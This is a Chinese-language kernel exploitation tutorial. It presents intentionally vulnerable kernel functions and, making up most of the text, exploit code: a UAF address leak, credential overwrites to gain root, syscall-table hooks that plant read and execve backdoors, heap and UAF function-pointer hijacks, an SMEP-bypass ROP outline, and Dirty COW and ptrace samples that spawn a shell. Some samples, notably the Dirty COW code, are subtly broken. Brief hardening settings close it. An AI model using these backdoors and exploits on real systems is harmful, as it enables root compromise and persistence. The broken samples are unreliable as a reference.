76_二进制安全高级技术：内核漏洞利用深度解析与实战指南——从特权提升到系统控制的全方位剖析

内存空间划分：
+------------------+  0xFFFFFFFF (最高地址)
|                  |
|  内核空间         |
|  (Kernel Space)  |
|                  |
+------------------+  KERNEL_BASE
|                  |
|  用户空间         |
| (User Space)     |
|                  |
+------------------+  0x00000000 (最低地址)

系统调用流程：
1. 用户程序准备参数
2. 触发软中断（如INT 0x80）或执行特殊指令（如syscall）
3. CPU切换到Ring 0
4. 内核执行系统调用处理函数
5. 内核返回结果
6. CPU切回Ring 3
7. 用户程序继续执行

系统调用表结构：
+---------+------------------+
| 索引    | 函数地址         |
+---------+------------------+
| 0       | sys_read         |
| 1       | sys_write        |
| 2       | sys_open         |
| ...     | ...              |
+---------+------------------+

// 有漏洞的内核代码
asmlinkage long vulnerable_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    char buffer[128];  // 固定大小的内核栈缓冲区
    
    if (cmd == VULN_COPY_FROM_USER) {
        // 未检查arg的大小，可能导致栈溢出
        copy_from_user(buffer, (void __user *)arg, 1024);  // 危险！
        // ...处理数据...
    }
    return 0;
}

// 有漏洞的内核代码
asmlinkage long vulnerable_alloc(unsigned long size) {
    void *data;
    
    // 分配内存
    data = kmalloc(size, GFP_KERNEL);
    if (!data) {
        return -ENOMEM;
    }
    
    // 未检查用户空间数据大小
    copy_from_user(data, (void __user *)user_buffer, user_size);  // 危险！
    
    // ...处理数据...
    kfree(data);
    return 0;
}

// 有漏洞的内核代码
struct object *global_obj = NULL;

asmlinkage long create_object(void) {
    global_obj = kmalloc(sizeof(struct object), GFP_KERNEL);
    if (!global_obj) {
        return -ENOMEM;
    }
    // ...初始化对象...
    return 0;
}

asmlinkage long destroy_object(void) {
    if (global_obj) {
        kfree(global_obj);
        // 忘记将global_obj置为NULL
        // global_obj = NULL;  // 应该添加这一行
    }
    return 0;
}

asmlinkage long use_object(void) {
    // 未检查global_obj是否已释放
    if (global_obj->field == MAGIC_VALUE) {  // 危险！可能访问已释放内存
        // ...执行敏感操作...
    }
    return 0;
}

// 有漏洞的内核代码
#define ARRAY_SIZE 100
int sensitive_array[ARRAY_SIZE];

asmlinkage long access_array(unsigned long index, int value) {
    // 未检查index是否在有效范围内
    sensitive_array[index] = value;  // 危险！可能越界
    return 0;
}

// 有漏洞的内核代码
asmlinkage long allocate_with_overflow(unsigned long count, unsigned long size) {
    // 未检查整数溢出
    unsigned long total_size = count * size;  // 危险！可能溢出
    return (long)kmalloc(total_size, GFP_KERNEL);
}

// 有漏洞的内核代码
asmlinkage long set_system_param(int param_id, int value) {
    // 权限检查逻辑有缺陷
    if (current->uid == 0 || param_id < 10) {  // 危险！param_id<10时绕过root检查
        system_params[param_id] = value;
        return 0;
    }
    return -EPERM;
}

// 有漏洞的内核代码
int global_flag = 0;

asmlinkage long check_and_do(void) {
    // 检查和操作之间存在时间窗口
    if (global_flag == 0) {  // 检查
        // 此处可能被中断或抢占，导致条件变化
        perform_privileged_operation();  // 操作
        global_flag = 1;
    }
    return 0;
}

// 内核模块中的漏洞代码
struct secret_struct {
    void *kernel_function;  // 指向内核函数的指针
    int secret_value;
};

struct secret_struct *secret_ptr = NULL;

asmlinkage long create_secret(void) {
    secret_ptr = kmalloc(sizeof(struct secret_struct), GFP_KERNEL);
    if (!secret_ptr) return -ENOMEM;
    secret_ptr->kernel_function = &some_kernel_function;
    secret_ptr->secret_value = 0xdeadbeef;
    return 0;
}

asmlinkage long destroy_secret(void) {
    if (secret_ptr) {
        kfree(secret_ptr);
        // 未将secret_ptr置为NULL，导致UAF
    }
    return 0;
}

asmlinkage long use_secret(void) {
    // 未检查secret_ptr是否已释放
    return secret_ptr->secret_value;  // 可用于泄露信息
}

// 用户空间利用代码
int main() {
    int fd = open("/dev/vulnerable", O_RDWR);
    
    // 创建并销毁secret对象
    ioctl(fd, CREATE_SECRET);
    ioctl(fd, DESTROY_SECRET);
    
    // 尝试读取secret_value，可能泄露内核地址
    long result = ioctl(fd, USE_SECRET);
    printf("Leaked value: 0x%lx\n", result);
    
    close(fd);
    return 0;
}

// 假设通过漏洞获得了任意写权限
void escalate_privileges(void *task_struct) {
    // 在内核中，cred结构体通常在task_struct的固定偏移处
    void *cred = (char *)task_struct + CRED_OFFSET;
    
    // 将uid、gid等全部设置为0（root）
    write_kernel_memory(cred + UID_OFFSET, 0);
    write_kernel_memory(cred + GID_OFFSET, 0);
    write_kernel_memory(cred + EUID_OFFSET, 0);
    write_kernel_memory(cred + EGID_OFFSET, 0);
    write_kernel_memory(cred + SUID_OFFSET, 0);
    write_kernel_memory(cred + SGID_OFFSET, 0);
}

// 假设已经泄露了sys_call_table的地址
void *sys_call_table = (void *)LEAKED_SYS_CALL_TABLE_ADDR;

// 保存原始的系统调用函数
asmlinkage long (*original_sys_read)(unsigned int, char __user *, size_t);

// 恶意的read函数
asmlinkage long malicious_sys_read(unsigned int fd, char __user *buf, size_t count) {
    // 检查是否是特殊命令
    if (fd == MAGIC_FD && buf && !strncmp(buf, "ROOTME", 6)) {
        escalate_privileges(current);
        return 0;
    }
    // 否则调用原始函数
    return original_sys_read(fd, buf, count);
}

// 修改系统调用表
void hook_syscall(void) {
    // 保存原始函数
    original_sys_read = ((asmlinkage long (**)(void))sys_call_table)[__NR_read];
    
    // 禁用写保护（在x86上需要修改CR0寄存器）
    disable_write_protection();
    
    // 替换系统调用
    ((asmlinkage long (**)(void))sys_call_table)[__NR_read] = malicious_sys_read;
    
    // 重新启用写保护
    enable_write_protection();
}

// 假设我们可以溢出obj1来修改obj2
void *obj1 = kernel_alloc(VULNERABLE_SIZE);
void *obj2 = kernel_alloc(CONTROLLED_SIZE);

// 构造溢出载荷
char overflow_payload[VULNERABLE_SIZE + EXTRA_SIZE];
memset(overflow_payload, 'A', sizeof(overflow_payload));

// 修改obj2中的函数指针为恶意地址
*(void **)(overflow_payload + VULNERABLE_SIZE + FUNCTION_PTR_OFFSET) = malicious_function;

// 触发溢出
kernel_write(obj1, overflow_payload, sizeof(overflow_payload));

// 当obj2被使用时，将执行恶意函数

// 分配并释放目标对象
void *target = kernel_alloc(TARGET_SIZE);
kernel_free(target);

// 分配新对象，重用已释放的内存
void *controlled = kernel_alloc(TARGET_SIZE);

// 构造恶意数据，包含函数指针等
char malicious_data[TARGET_SIZE];
*(void **)(malicious_data + FUNCTION_PTR_OFFSET) = malicious_function;

// 填充可控对象
kernel_write(controlled, malicious_data, TARGET_SIZE);

// 当原target指针被使用时，将执行恶意代码

// 通过格式化字符串漏洞泄露内核地址
void leak_kernel_address(void) {
    char buffer[100];
    // 假设存在格式化字符串漏洞
    sprintf(buffer, user_input);  // 危险！
    // 如果user_input包含"%p"等格式说明符，可能泄露内核地址
}

// 假设我们已经有了ROP链，可以修改CR4寄存器禁用SMEP
unsigned long *rop_chain = allocate_rop_chain();

// 添加禁用SMEP的gadget
// xor rax, rax; mov eax, cr4; and eax, ~(1<<20); mov cr4, rax
add_gadget(rop_chain, DISABLE_SMEP_GADGET);

// 添加跳转到用户空间代码的gadget
add_gadget(rop_chain, JUMP_TO_USER_CODE_GADGET);

// 触发ROP链执行

// 假设通过漏洞获得了任意写权限
void modify_kernel_structure(void) {
    // 修改current_task的凭证结构
    void *cred = current->cred;
    
    // 修改uid相关字段为0
    write_kernel_memory(cred + offsetof(struct cred, uid.val), 0);
    write_kernel_memory(cred + offsetof(struct cred, gid.val), 0);
    write_kernel_memory(cred + offsetof(struct cred, suid.val), 0);
    write_kernel_memory(cred + offsetof(struct cred, sgid.val), 0);
    write_kernel_memory(cred + offsetof(struct cred, euid.val), 0);
    write_kernel_memory(cred + offsetof(struct cred, egid.val), 0);
    
    // 刷新凭证缓存
    commit_creds(prepare_kernel_cred(0));
}

// 安装系统调用后门
void install_syscall_backdoor(void) {
    // 保存原始的execve系统调用
    original_execve = sys_call_table[__NR_execve];
    
    // 禁用写保护
    disable_write_protection();
    
    // 替换为恶意函数
    sys_call_table[__NR_execve] = malicious_execve;
    
    // 重新启用写保护
    enable_write_protection();
}

// 恶意execve函数
asmlinkage long malicious_execve(const char __user *filename, 
                                char __user *const __user *argv, 
                                char __user *const __user *envp) {
    // 检查是否是特殊命令
    if (filename && !strcmp(filename, "/bin/backdoor")) {
        // 提升权限
        commit_creds(prepare_kernel_cred(0));
        return 0;
    }
    // 正常执行原始函数
    return original_execve(filename, argv, envp);
}

// Dirty COW 漏洞利用示例
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>

void *map;
int f;
void *writeThread(void *arg) {
    char *str = "\x00\x00\x00\x00";
    while(1) {
        // 尝试写入映射区域
        for(int i = 0; i < 100; ++i) {
            ((char*)map)[i] = str[i % 4];
        }
    }
}

void *madviseThread(void *arg) {
    while(1) {
        // 释放内存页，触发COW
        madvise(map, 100, MADV_DONTNEED);
    }
}

int main(int argc, char *argv[]) {
    // 打开目标SUID文件
    f = open("/usr/bin/passwd", O_RDONLY);
    
    // 映射文件到内存
    map = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, f, 0);
    
    // 创建两个线程触发竞争条件
    pthread_t pth1, pth2;
    pthread_create(&pth1, NULL, madviseThread, NULL);
    pthread_create(&pth2, NULL, writeThread, NULL);
    
    // 等待一段时间
    sleep(5);
    
    printf("现在尝试执行passwd命令，应该已经获得root权限\n");
    system("/usr/bin/passwd");
    
    return 0;
}

static void ping_v6_err(struct sk_buff *skb, struct inet6_skb_parm *opt,
                        u8 type, u8 code, int offset,
                        __be32 info) {
    struct icmp6hdr *icmp6h = (struct icmp6hdr *)skb->data;
    struct inet6_dev *idev;
    struct net *net = dev_net(skb->dev);
    int err = 0;
    
    // 缺少对skb->len的检查，可能导致栈溢出
    if (type == ICMPV6_PARAMPROB) {
        // 处理参数问题错误
        // ...
    }
    // ...
}

// 简化的利用代码框架
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>

int main() {
    pid_t child, grandchild;
    int status;
    
    // 创建子进程
    if (!(child = fork())) {
        // 在子进程中创建孙子进程
        if (!(grandchild = fork())) {
            // 孙子进程执行
            sleep(1);  // 等待父进程设置
            // 尝试ptrace父进程，这里应该失败但由于漏洞可能成功
            if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) != -1) {
                printf("ptrace成功，漏洞已触发\n");
                // 执行shell或其他提权操作
                system("/bin/sh");
            }
            return 0;
        }
        // 父进程退出，使孙子进程成为孤儿进程
        return 0;
    }
    
    // 等待子进程退出
    waitpid(child, &status, 0);
    
    // 等待一段时间
    sleep(2);
    
    // 尝试ptrace孙子进程
    if (ptrace(PTRACE_ATTACH, grandchild, NULL, NULL) != -1) {
        printf("成功ptrace孙子进程\n");
        // 可以读写孙子进程内存进行进一步攻击
    }
    
    return 0;
}

# 编译内核时启用模块签名
CONFIG_MODULE_SIG=y
CONFIG_MODULE_SIG_ALL=y
CONFIG_MODULE_SIG_KEY="certs/signing_key.pem"

# 启用SELinux强制模式
sestatus
setenforce 1

# 配置SELinux策略
vim /etc/selinux/config
SELINUX=enforcing
SELINUXTYPE=targeted